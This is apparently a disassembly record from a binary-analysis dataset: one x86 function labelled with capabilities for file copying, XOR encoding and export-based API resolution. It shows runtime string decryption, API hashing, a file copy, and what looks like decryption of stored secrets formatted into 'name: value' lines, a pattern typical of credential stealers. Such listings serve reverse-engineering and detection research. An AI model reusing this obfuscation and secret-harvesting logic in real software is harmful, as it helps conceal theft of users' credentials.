Function at 0x42a4d0
Capabilities:
Copy file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push dword [esp + 4]
call fcn.0042a4f0
add esp, 4
test al, al
je 0x42ab90
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xdc
mov dword [esp + 0x9c], 0xe170e75f
mov dword [esp + 0xa0], 0xdd6ee36d
mov dword [esp + 0xa4], 0xd94adf7f
mov dword [esp + 0xa8], 0xd56adb4c
mov dword [esp + 0xac], 0xd15ad777
mov dword [esp + 0xb0], 0xcdd2d348
mov byte [esp + 0xb4], 0
lea eax, [esp + 0x9c]
mov ecx, 0xf6bc026
movzx esi, byte [eax]
mov edx, ecx
or edx, esi
lea edi, [ecx - 0xf6bc000]
and edi, esi
not edx
or edx, edi
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0xc2
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0xf6bc00d
jne 0x42abf0
mov dword [esp + 0x14], 0xf758f95c
mov dword [esp + 0x18], 0xf3a9f5a9
mov dword [esp + 0x1c], 0xcf61f1a9
mov dword [esp + 0x20], 0xcb64cd60
mov dword [esp + 0x24], 0xc762c961
mov dword [esp + 0x28], 0xc383c591
mov dword [esp + 0x2c], 0xdf86c19f
mov dword [esp + 0x30], 0xdb88dd85
mov dword [esp + 0x34], 0xd772d985
mov dword [esp + 0x38], 0xd381d57b
mov dword [esp + 0x3c], 0x2f82d18a
mov dword [esp + 0x40], 0x2b6b2d87
mov dword [esp + 0x44], 0x277b2986
mov dword [esp + 0x48], 0x23882580
mov dword [esp + 0x4c], 0x3f8a2181
mov dword [esp + 0x50], 0x3b873db6
mov dword [esp + 0x54], 0x3799399c
mov dword [esp + 0x58], 0x338f35b8
mov dword [esp + 0x5c], 0xfbb3191
mov dword [esp + 0x60], 0xd0c
mov eax, 0xd6
mov ecx, 0x29
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax - 0xc2]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xd2
mov byte [esp + eax - 0xc2], dl
inc eax
dec ecx
cmp eax, 0x126
jne case.default.0x42ad0f
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.0043d860
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44e928]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add ecx, 2
cmp word [edx], 0
jne 0x42ad20
sub edx, eax
cmp edx, 0xffffffd9
mov dword [esp + 4], eax
jge 0x42ad44
mov edx, 0xffffffff
jmp 0x42ad47
xor ebx, ebx
jmp 0x42b783
add edx, 0x26
push edx
call fcn.0040c820
add esp, 4
mov dword [esp + 0x68], eax
mov dword [esp + 0x14], 0x9770b68
mov dword [esp + 0x18], 0x5740779
mov dword [esp + 0x1c], 0x175037e
mov dword [esp + 0x20], 0x1d7a1f79
mov dword [esp + 0x24], 0x196b1b61
mov dword [esp + 0x28], 0x156c176a
mov dword [esp + 0x2c], 0x116b1363
mov dword [esp + 0x30], 0x2da42f22
mov dword [esp + 0x34], 0x29502b50
mov dword [esp + 0x38], 0x2728
mov byte [esp + 0x3c], 0
mov edi, 0x83
mov ecx, 0x8ff1fb83
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi - 0x6f]
mov eax, edi
and eax, edx
lea ebp, [eax + eax]
mov ebx, edx
sub ebx, ebp
add ebx, edi
add ebx, 0x8ff1fb00
mov esi, ebx
xor esi, 0x8f
or ebx, 0x70
and ebx, esi
add bl, dl
add al, al
sub bl, al
add edx, ecx
sub edx, ebp
and dl, 0x70
sub bl, dl
movzx eax, bl
add eax, edi
add al, 0x71
mov byte [esp + edi - 0x6f], al
inc edi
inc ecx
cmp edi, 0xac
jne 0x42adc0
mov esi, dword [esp + 4]
movzx ecx, word [esi]
mov ebx, dword [esp + 0x68]
mov eax, ebx
test cx, cx
je 0x42ae41
mov edx, esi
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ae30
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
lea ebp, [esp + 0x9c]
je 0x42ae71
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ae60
mov word [eax], 0
jmp dword [0x44e930]
jmp dword [0x44e938]
push esi
call fcn.0040c830
add esp, 4
nop
nop
nop
nop
nop
push esi
call fcn.0040c830
add esp, 4
jmp dword [0x44e944]
xor eax, eax
cmp word [ebx], 0x2a
sete al
jmp dword [eax*4 + 0x44e948]
mov dword [esp + 0x14], 0x31f43ff9
mov dword [esp + 0x18], 0x35d733dc
mov dword [esp + 0x1c], 0xc9c837c5
mov dword [esp + 0x20], 0xcd31cb2e
mov dword [esp + 0x24], 0xc122cf35
mov dword [esp + 0x28], 0xc533c325
mov dword [esp + 0x2c], 0xd920c73a
mov dword [esp + 0x30], 0xdd23db23
mov dword [esp + 0x34], 0xd128dfe2
mov dword [esp + 0x38], 0xd534d334
mov word [esp + 0x3c], 0xd7d4
mov dword [esp + 0x3e], 0
xor eax, eax
mov ecx, eax
add cl, 0xf5
xor cl, byte [esp + eax + 0x14]
add cl, 0x37
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x2e
jne case.default.0x42af4c
push 0
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebp
push ebx
call fcn.00445ed0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44e950]
xor esi, esi
xor edi, edi
jmp dword [0x44e9b0]
push ebx
call fcn.0040c830
add esp, 4
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x44e9b8]
xor ebx, ebx
test esi, esi
jne 0x42bee1
jmp 0x42b783
lea eax, [esp + 0x7c]
push 0
push eax
push dword [esp + 0xa4]
call fcn.004461b0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44e958]
mov esi, dword [esp + 0x7c]
lea eax, [esi + 1]
push eax
call fcn.0040c820
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xa8]
call fcn.00446260
add esp, 0x10
not eax
shr eax, 0x1f
xor ebp, ebp
xor esi, esi
jmp dword [eax*4 + 0x44e960]
jmp dword [0x44e968]
jmp dword [0x44e980]
add eax, 8
xor edx, edx
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
setne al
xor esi, esi
xor edi, edi
mov dword [esp], 0
jmp dword [eax*4 + 0x44e998]
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov dword [esi + eax + 4], edx
mov edx, dword [esp + 4]
add edx, 8
mov ecx, dword [esp + 8]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
mov edi, esi
jmp dword [eax*4 + 0x44e998]
mov dword [esp + 8], ecx
mov esi, dword [ecx]
mov ebp, edx
sub ebp, edi
mov dword [esp + 4], edx
mov ecx, dword [esp]
cmp edx, ecx
mov dword [esp + 0xc], ebp
jne 0x42b0d3
mov eax, ebp
sar eax, 3
inc eax
sub ecx, edi
sar ecx, 3
mov ebx, ecx
shr ebx, 1
add ebx, ecx
cmp ebx, eax
ja 0x42b06c
mov ebx, eax
lea eax, [ebx*8]
push eax
call fcn.0040c820
add esp, 4
mov ebp, eax
test edi, edi
je 0x42b0bc
cmp edi, dword [esp]
je 0x42b0b3
mov edx, ebp
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, dword [edi + eax]
mov dword [edx + eax], ecx
mov ecx, dword [edi + eax + 4]
mov dword [edx + eax + 4], ecx
mov dword [edi + eax], 0
lea ecx, [edi + eax]
add ecx, 8
add eax, 8
cmp ecx, dword [esp]
jne 0x42b090
push edi
call fcn.0040c830
add esp, 4
mov edi, ebp
lea ecx, [ebx*8]
add ecx, ebp
mov eax, ebp
mov ebp, dword [esp + 0xc]
add eax, ebp
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [edi + ebp], 0
mov dword [esp + 0x10], edi
mov dword [edi + ebp + 4], 0
xor ebx, ebx
nop
nop
nop
nop
nop
cmp byte [esi + ebx], 0
lea ebx, [ebx + 1]
jne 0x42b0f0
push ebx
call fcn.0040c820
add esp, 4
mov ecx, dword [esp + 0x10]
mov dword [ecx + ebp], eax
mov ecx, ebx
shr ecx, 2
mov edx, esi
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
add eax, edx
add edx, esi
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov ecx, ebx
inc cl
test cl, 1
jne 0x42b153
mov ecx, ebx
and ecx, 2
movzx edx, byte [edx + ecx]
mov byte [eax + ecx], dl
xor edx, edx
cmp ebx, 1
je 0x42b010
mov edx, 0xffffffff
mov eax, 1
nop
nop
nop
movzx ecx, byte [esi + eax - 1]
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr edx, 1
not ecx
mov edi, ecx
or edi, 1
sub ecx, edi
and ecx, 0xedb88320
xor ecx, edx
mov edi, ecx
shr edi, 1
not ecx
mov edx, ecx
or edx, 1
sub ecx, edx
and ecx, 0xedb88320
mov edx, ecx
xor edx, edi
inc eax
cmp ebx, eax
jne 0x42b160
not edx
jmp 0x42b010
mov dword [esp + 0x14], 0x25681e79
mov dword [esp + 0x18], 0x52205029
mov dword [esp + 0x1c], 0x55554165
mov dword [esp + 0x20], 0x486b5c2e
mov dword [esp + 0x24], 0x4e5d5828
mov dword [esp + 0x28], 0x4b336671
mov dword [esp + 0x2c], 0x3d43404a
mov dword [esp + 0x30], 0x454f486d
mov dword [esp + 0x34], 0xaf4b
mov byte [esp + 0x38], 0
mov eax, 0x5d
mov ecx, 0xa2
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x49]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
and edx, ecx
or edx, esi
add dl, 0x2f
mov byte [esp + eax - 0x49], dl
inc eax
dec ecx
cmp eax, 0x82
jne 0x42b290
mov ecx, dword [esp + 0x64]
push edi
call fcn.0042dcf0
jmp dword [0x44e9fc]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
mov edx, dword [esp + 0xc]
mov dword [esp + 8], edx
jmp dword [ecx*4 + 0x44ea00]
add eax, 8
xor ebx, ebx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 0xc]
mov dword [esp + 8], ecx
mov dword [esp + 0x68], ebp
jmp dword [eax*4 + 0x44ea08]
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ea08]
mov edx, dword [esi]
xor edi, edi
cmp dword [esi + 0x18], 3
jne case.default.0x42b32a
mov edi, dword [esi + 0x10]
test edx, edx
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44ea10]
mov dword [esp], edx
mov dword [esp + 0x8c], esi
mov eax, edi
nop
nop
nop
mov esi, eax
inc eax
cmp byte [esi], 0
jne case.default.0x42b371
mov dword [esp + 0x90], ebx
sub esi, edi
inc esi
shr esi, 1
lea eax, [esi + 1]
push eax
call fcn.0040c820
add esp, 4
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
mov dword [esp + 0x84], eax
jmp dword [ecx*4 + 0x44ea18]
inc edi
mov byte [eax], cl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44ea18]
lea ecx, [edx - 0x30]
cmp ecx, 0xa
jb 0x42b3a2
mov ecx, 0xffffffff
mov ebp, edx
and ebp, 0xffffffdf
mov ebx, edx
xor ebx, 0x20
add ebx, edx
sub ebx, ebp
lea edx, [ebx - 0x61]
cmp edx, 6
jae case.default.0x42b3c8
add ebx, 0xffffffa9
mov ecx, ebx
movsx ebp, byte [edi + 1]
xor edx, edx
test ebp, ebp
setne dl
jmp dword [edx*4 + 0x44ea20]
jmp dword [0x44ea30]
lea edx, [ebp - 0x30]
cmp edx, 0xa
jb 0x42b3e3
mov edx, 0xffffffff
mov ebx, ebp
xor ebx, 0x20
add ebx, ebp
and ebp, 0xffffffdf
sub ebx, ebp
lea ebp, [ebx - 0x61]
cmp ebp, 6
jae case.default.0x42b411
add ebx, 0xffffffa9
mov edx, ebx
shl ecx, 4
or ecx, edx
add edi, 2
mov byte [eax], cl
inc eax
movsx edx, byte [edi]
xor ecx, ecx
test edx, edx
setne cl
jmp dword [ecx*4 + 0x44ea18]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [esp + 0xc]
call fcn.0042df00
add esp, 0x10
mov dword [esp + 0x6c], eax
mov dword [esp], 0
mov ecx, dword [case.0x42ad0f.77]
xor eax, eax
mov ebp, dword [esp + 0x10]
cmp ebp, dword [esp + 4]
setne al
jmp dword [eax*4 + 0x44ea38]
mov eax, dword [ebp]
mov dword [esp], eax
xor eax, eax
mov edi, dword [esp + 4]
jmp dword [eax*4 + 0x44ea68]
add ebp, 8
xor ebx, ebx
cmp ebp, edi
setne bl
jmp dword [ebx*4 + 0x44ea38]
mov ebx, dword [ebp + 4]
mov edi, ebx
shr edi, 0x1c
shl ebx, 4
or ebx, 1
xor edi, edx
xor ebx, dword [esp + 0x6c]
xor eax, eax
or ebx, edi
sete al
jmp dword [eax*4 + 0x44ea50]
jmp ecx
mov ebx, 1
mov edi, dword [esp + 4]
jmp dword [ebx*4 + 0x44ea68]
xor eax, eax
cmp dword [esp], 0
setne al
mov ebp, dword [esp + 0x68]
mov ebx, dword [esp + 0x90]
jmp dword [eax*4 + 0x44ea70]
mov dword [esp + 0x14], esi
mov eax, dword [esp + 0x84]
mov dword [esp + 0x18], eax
mov eax, 0xffffffff
mov ecx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ecx + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x42b558
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], ecx
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
push 0x14e20a34
push dword [0x452b80]
call fcn.004454d0
add esp, 8
lea ecx, [esp + 0x70]
lea edx, [esp + 0x7c]
push ecx
push 1
push 0
push 0
push edx
push 0
lea ecx, [esp + 0x2c]
push ecx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ea78]
mov eax, dword [case.0x42ad0f.81]
jmp case.0x42ad0f.89
mov edi, dword [esp + 8]
jmp dword [0x44ea80]
mov edx, dword [esp]
movzx ecx, byte [edx]
mov eax, edi
test cl, cl
je 0x42b59b
inc edx
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42b590
mov word [eax], 0x203a
add eax, 2
mov esi, dword [esp + 0x70]
test esi, esi
je 0x42b5d3
mov ecx, dword [esp + 0x74]
mov edx, esi
and edx, 3
je 0x42b5d7
xor ebp, ebp
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebp], bl
inc ebp
cmp edx, ebp
jne 0x42b5b8
add eax, ebp
mov edx, esi
sub edx, ebp
mov ebp, eax
jmp 0x42b5d9
mov ebp, eax
jmp 0x42b617
mov edx, esi
cmp esi, 4
jb 0x42b617
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea ebp, [eax + 4]
mov byte [eax + 3], bl
mov eax, ebp
add edx, 0xfffffffc
jne 0x42b5de
mov byte [ebp], 0xa
push 0xbe5098bb
push dword [0x452b68]
call fcn.004454d0
add esp, 8
push dword [esp + 0x74]
call eax
jmp case.0x42ad0f.85
mov esi, eax
mov byte [esi], 0xa
push 0xbe5098bb
push dword [0x452b68]
call fcn.004454d0
add esp, 8
push dword [esp + 0x74]
call eax
mov ebp, dword [esp + 0x68]
jmp dword [0x44ea88]
mov edx, dword [esp]
movzx ecx, byte [edx]
mov eax, edi
test cl, cl
je 0x42b68b
inc edx
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42b680
mov word [eax], 0x203a
add eax, 2
mov ebp, dword [esp + 0x70]
test ebp, ebp
je 0x42b640
mov ecx, dword [esp + 0x74]
mov esi, ebp
and esi, 3
je 0x42b6e0
xor ebx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
cmp dl, 1
sbb ecx, 0xffffffff
mov byte [eax + ebx], dl
inc ebx
cmp esi, ebx
jne 0x42b6b0
add eax, ebx
mov edx, ebp
sub edx, ebx
mov esi, eax
cmp ebp, 4
jae 0x42b6f0
jmp 0x42b642
mov edx, ebp
cmp ebp, 4
jb 0x42b642
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov eax, esi
add edx, 0xfffffffc
jne 0x42b6f0
jmp 0x42b642
inc esi
mov bl, 1
mov eax, dword [case.0x42ad0f.81]
mov dword [esp + 8], esi
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x8c]
jmp dword [0x44eaa0]
push dword [esp + 0x84]
call fcn.0040c830
add esp, 4
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ea08]
xor ecx, ecx
test eax, eax
setne cl
xor esi, esi
xor edx, edx
jmp dword [ecx*4 + 0x44e990]
mov eax, ebx
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44eab8]
xor eax, eax
cmp esi, edi
sete al
jmp dword [eax*4 + 0x44e9b8]
mov dword [esp + 4], edi
mov eax, edi
mov dword [esp + 0x10], esi
sub eax, esi
sar eax, 3
mov ecx, eax
and ecx, 0x421
mov edx, eax
or eax, 0x421
imul eax, ecx
xor ecx, 0x421
and edx, 0xfffffbde
imul edx, ecx
add eax, edx
push eax
call fcn.0040c820
add esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0x3386316d
mov dword [esp + 0x18], 0x2f8d2dbb
mov dword [esp + 0x1c], 0x2bbe2989
mov dword [esp + 0x20], 0x27b62565
mov dword [esp + 0x24], 0x239e21b0
mov dword [esp + 0x28], 0x1f921dbd
mov dword [esp + 0x2c], 0x1b4719b9
mov dword [esp + 0x30], 0x17a515b0
mov dword [esp + 0x34], 0x138f119c
mov dword [esp + 0x38], 0xf9b0dad
mov dword [esp + 0x3c], 0xb9e09ac
mov dword [esp + 0x40], 0x7a50593
mov dword [esp + 0x44], 0x39601a1
mov dword [esp + 0x48], 0x7ff07d2a
mov dword [esp + 0x4c], 0x7be479e4
lea eax, [esp + 0x50]
mov word [esp + 0x50], 0x7574
mov dword [esp + 0x52], 0
mov word [esp + 0x56], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xc
xor dl, byte [esp + ecx + 0x14]
add dl, 0xc4
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 0x44
jne 0x42b880
lea edx, [esp + 0x14]
mov edi, ebp
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xd8]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x98]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x452b70]
mov edi, dword [esp + 0x98]
test edi, edi
jns 0x42b8e1
mov eax, 0xffffffff
jmp 0x42b8e4
lea eax, [edi + edi]
push eax
call fcn.0040c820
add esp, 4
mov ebx, eax
push esi
push edi
push eax
push 0x1e
push ebp
push 0
call dword [0x452b70]
lea eax, [esp + 0x78]
push 0x60
push 3
push 0x120089
push eax
push ebx
call fcn.00445ed0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44e9c0]
xor ebp, ebp
mov eax, dword [esp + 0xc]
mov dword [esp + 8], eax
mov edi, dword [esp + 4]
mov esi, dword [esp + 0x10]
jmp dword [0x44eac8]
mov dword [esp + 0x94], ebx
lea eax, [esp + 0x88]
push 0
push eax
push dword [esp + 0x80]
call fcn.004461b0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov esi, dword [esp + 0xc]
jmp dword [eax*4 + 0x44e9c8]
mov esi, dword [case.0x42af4c.34]
mov edi, dword [esp + 0x88]
lea ebx, [edi + 1]
nop
nop
nop
nop
nop
nop
push ebx
call fcn.0040c820
add esp, 4
jmp esi
mov ebp, eax
push 0
push edi
push eax
push dword [esp + 0x84]
call fcn.00446260
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov esi, dword [esp + 0xc]
jmp dword [eax*4 + 0x44e9e0]
mov edi, dword [esp + 0x88]
mov byte [ebp + edi], 0
push 0x20
call fcn.0040c820
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x64], eax
mov ecx, eax
push edi
push ebp
call fcn.0042db00
movzx eax, al
xor ebx, ebx
mov ecx, dword [esp + 0xc]
mov dword [esp + 8], ecx
jmp dword [eax*4 + 0x44e9e8]
mov esi, dword [esp + 8]
jmp dword [0x44eaa8]
mov edi, dword [esp + 0x64]
mov ecx, edi
call fcn.0042de60
push edi
call fcn.0040c830
add esp, 4
jmp dword [0x44eab0]
jmp dword [0x44eab0]
lea edi, [esp + 0x14]
jmp dword [0x44e9f0]
mov dword [esp + 0x14], 0x25681e79
mov dword [esp + 0x18], 0x52205029
mov dword [esp + 0x1c], 0x55554165
mov dword [esp + 0x20], 0x486b5c2e
mov dword [esp + 0x24], 0x4e5d5828
mov dword [esp + 0x28], 0x4b336671
mov dword [esp + 0x2c], 0x3d43404a
mov dword [esp + 0x30], 0x454f486d
mov dword [esp + 0x34], 0xaf4b
mov byte [esp + 0x38], 0
mov eax, 0x5d
mov ecx, 0xa2
nop
nop
nop
movzx edx, byte [esp + eax - 0x49]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, eax
and edx, ecx
or edx, esi
add dl, 0x2f
mov byte [esp + eax - 0x49], dl
inc eax
dec ecx
cmp eax, 0x82
jne 0x42baa0
mov ecx, dword [esp + 0x64]
push edi
call fcn.0042dcf0
jmp case.0x42af4c.39
jmp dword [0x44e9a8]
push edi
call fcn.0040c830
add esp, 4
mov dword [esp + 0x10], esi
mov eax, dword [esp + 0x9c]
mov dword [esp + 4], eax
mov dword [esp + 0x14], 0x700f0e0d
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
movzx esi, byte [esp + ecx - 0xa9]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x4e
sub al, bl
mov byte [esp + ecx - 0xa9], al
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42bb10
mov ecx, dword [0x452b74]
test ecx, ecx
mov ebx, dword [esp + 0x68]
je 0x42bb68
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x452b78]
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42bb60
inc esi
cmp ecx, esi
jne 0x42bb50
jmp 0x42bb68
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bb7b
mov edi, ebp
mov esi, dword [esp + 0x10]
lea ebp, [esp + 0x9c]
jmp dword [0x44e9b0]
push dword [esp + 4]
push 1
push ecx
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
mov edi, ebp
mov esi, dword [esp + 0x10]
lea ebp, [esp + 0x9c]
jmp dword [0x44e9b0]
mov dword [esp + 0x14], 0xada0aa91
mov dword [esp + 0x18], 0xa6a8b8d1
mov dword [esp + 0x1c], 0xadb5b96d
mov dword [esp + 0x20], 0x8067acda
mov dword [esp + 0x24], 0x9a8d90a0
mov dword [esp + 0x28], 0x888ba859
mov dword [esp + 0x2c], 0x9590e89d
mov dword [esp + 0x30], 0x6795
mov byte [esp + 0x34], 0
mov ebp, 0x4d00460f
mov ecx, 0xb2ffb9f0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ebp - 0x4d0045fb]
mov esi, edx
not esi
lea edi, [edx + esi*2]
mov ebx, 0xfffffffe
sub ebx, edi
lea esi, [edx + esi*2]
inc esi
mov edi, esi
and edi, 0x29f004a5
and ebx, 0xd60ffb5a
or ebx, edi
mov eax, ebp
and eax, 0x9000425
mov edi, ecx
and edi, 0x920fb95a
or edi, eax
xor edi, ebx
or esi, ebp
lea eax, [ecx + 0x4d004700]
and eax, edx
not edi
and edi, esi
or edi, eax
mov eax, edi
not eax
lea eax, [edi + eax*2]
mov dl, 0xb3
sub dl, al
mov byte [esp + ebp - 0x4d0045fb], dl
inc ebp
dec ecx
cmp ebp, 0x4d004630
jne 0x42bc00
mov ecx, dword [esp + 0x6c]
lea eax, [esp + 0x14]
push eax
call fcn.0042dcf0
mov dword [esp + 0x14], 0xada0aa91
mov dword [esp + 0x18], 0xa6a8b8d1
mov dword [esp + 0x1c], 0xadb5b96d
mov dword [esp + 0x20], 0x8067acda
mov dword [esp + 0x24], 0x9a8d90a0
mov dword [esp + 0x28], 0x888ba859
mov dword [esp + 0x2c], 0x9590e89d
mov dword [esp + 0x30], 0x6795
mov byte [esp + 0x34], 0
mov eax, 0x4d00460f
mov ecx, 0xb2ffb9f0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x4d0045fb]
mov esi, edx
not esi
lea edi, [edx + esi*2]
mov ebx, 0xfffffffe
sub ebx, edi
lea esi, [edx + esi*2]
inc esi
mov edi, esi
and edi, 0x29f004a5
and ebx, 0xd60ffb5a
or ebx, edi
mov ebp, eax
and ebp, 0x9000425
mov edi, ecx
and edi, 0x920fb95a
or edi, ebp
xor edi, ebx
or esi, eax
lea ebx, [ecx + 0x4d004700]
and ebx, edx
not edi
and edi, esi
or edi, ebx
mov edx, edi
not edx
lea edx, [edi + edx*2]
mov bl, 0xb3
sub bl, dl
mov byte [esp + eax - 0x4d0045fb], bl
inc eax
dec ecx
cmp eax, 0x4d004630
jne 0x42bcd0
mov ecx, dword [esp + 0x6c]
lea eax, [esp + 0x14]
push eax
call fcn.0042dcf0
jmp dword [0x44e988]
mov dword [esp + 8], esi
mov ebp, ebx
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov dword [esp + 0x14], 0x700f0e0d
mov word [esp + 0x18], 0
mov byte [esp + 0x1a], 0
mov ecx, 0xbd
mov edx, 0x42
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0xa9]
mov ebx, ecx
xor ebx, edx
and ebx, esi
xor ebx, edx
mov al, 0x4e
sub al, bl
mov byte [esp + ecx - 0xa9], al
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42bd80
mov ecx, dword [0x452b74]
test ecx, ecx
mov ebx, dword [esp + 0x94]
je 0x42bdec
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x452b78]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x42bde0
inc esi
cmp ecx, esi
jne 0x42bdd0
jmp 0x42bdec
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bf18
mov edi, dword [esp + 4]
mov esi, dword [esp + 0x10]
jmp dword [0x44eac8]
push ebx
call fcn.0040c830
add esp, 4
nop
nop
nop
